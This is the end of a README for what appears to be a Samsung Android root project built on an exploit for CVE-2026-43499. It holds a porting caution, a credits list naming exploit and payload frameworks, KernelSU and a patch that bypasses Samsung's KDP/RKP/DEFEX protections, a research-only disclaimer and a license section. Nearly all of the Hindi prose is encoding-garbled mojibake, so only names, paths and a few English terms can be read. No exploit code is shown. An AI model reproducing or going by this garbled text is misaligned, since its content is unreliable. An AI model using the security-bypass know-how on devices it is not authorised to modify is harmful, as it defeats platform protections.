  * рд╕рдорд╛рди рдХрд░реНрдиреЗрд▓ рд╢рд╛рдЦрд╛ рд╡рд╛рд▓реЗ рдЕрдиреНрдп Samsung рдбрд┐рд╡рд╛рдЗрд╕ (рдЬреИрд╕реЗ S22 рд╢реНрд░реГрдВрдЦрд▓рд╛ 5.10) рдкреЛрд░реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрдн рдЖрдзрд╛рд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдкреНрд░рддреНрдпреЗрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ task_struct рдСрдлрд╕реЗрдЯ, mm_struct objsize, ksm рдкреИрд░рд╛рдореАрдЯрд░ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдП** (рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рдмреАрдЪ рдСрдлрд╕реЗрдЯ рдХреЙрдкреА рдХрд░рдирд╛ = рдирд┐рд╢реНрдЪрд┐рдд рдХреНрд░реИрд╢)ред



## 12\. рдзрдиреНрдпрд╡рд╛рдж рдФрд░ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯ

  * CVE-2026-43499 рдЗрдХреЛрд╕рд┐рд╕реНрдЯрдо: `BuSung-dev/Root-My-Galaxy` / `Root-My-Galaxy-Payloads` (рдореВрд▓ рд╢реЛрд╖рдг рдФрд░ payload рдлреНрд░реЗрдорд╡рд░реНрдХ)
  * `sarabpal-dev/IonStack-S22U` тАФ SM8450 5.10 **рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ GREEN** рдкреЛрд░реНрдЯ рдЖрдзрд╛рд░ (exp32 рд░реВрдЯ), рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ exploit рд╕реАрдзреЗ рдЗрд╕реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ
  * `tiann/KernelSU` v3.2.5 тАФ jailbreak рдореЛрдб (`ksud late-load`) + рдореЙрдбреНрдпреВрд▓ рд╕реНрд╡рдпрдВ
  * BuSung рдХрд╛ `KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch` тАФ Samsung KDP/RKP/DEFEX рдЕрдиреБрдХреВрд▓рди
  * `xunchahaha/mi_nobl_root` тАФ SHN_ABS patch рд╡рд┐рдЪрд╛рд░ рдХрд╛ Python рд╕рдВрджрд░реНрдн рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди
  * `FryUpDoe/android_kernel_samsung_q4q` тАФ рдХрд░реНрдиреЗрд▓ рд╕реНрд░реЛрдд рдорд┐рд░рд░
  * Coolapk рд╕рдореБрджрд╛рдп рдХрд╛ "рдорд╛рд╕реНрдЯрд░-рдЕрдиреБрдХреВрд▓рд┐рдд" RMG APK (42 рдлрд░реНрдорд╡реЗрдпрд░ payloads) тАФ рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕рд╛рдордЧреНрд░реА рдФрд░ рдЦреБрдлрд┐рдпрд╛ рд╕реНрд░реЛрдд



## 13\. рдЕрд╕реНрд╡реАрдХрд░рдг

рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ **рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП** рд╣реИред рд▓реЙрдХ рдХрд┐рдП рдЧрдП BL рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░реА (CVE-2026-43499) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдбрд┐рд╡рд╛рдЗрд╕ рд╡рд╛рд░рдВрдЯреА рд╢рд░реНрддреЛрдВ рдФрд░ рд╕реЗрд╡рд╛ рд╢рд░реНрддреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред **рд╕рднреА рдЬреЛрдЦрд┐рдо рдЖрдкрдХреЗ рдЙрддреНрддрд░рджрд╛рдпрд┐рддреНрд╡ рдкрд░** : рдХрд░реНрдиреЗрд▓ panic, рдбреЗрдЯрд╛ рд╣рд╛рдирд┐, рдбрд┐рд╡рд╛рдЗрд╕ рдмреНрд░рд┐рдХ рд╣реЛрдирд╛ (рдХрдо рд╕рдВрднрд╛рд╡рдирд╛ рд▓реЗрдХрд┐рди рд╕рдВрднрд╡) тАФ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд╣рди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХрд┐рд╕реА рднреА рдЕрдирдзрд┐рдХреГрдд рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВред CVE рдХреЛ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдореЗрдВ 2026-07 рдореЗрдВ рдареАрдХ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХреГрдкрдпрд╛ рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдордп рдкрд░ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред

* * *

**LICENSE** : рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреЛрдб (loader/ksu-load.c, scripts/, рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝) MIT рд╣реИрдВ; `release/kernelsu-c12-nolto.ko` GPL-2.0 KernelSU рдФрд░ Samsung рдХрд░реНрдиреЗрд▓ рд╕реНрд░реЛрдд (GPL-2.0) рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реИ; `patches/ionstack-q4q-adapt.patch` рдЕрдкрд╕реНрдЯреНрд░реАрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╣реИред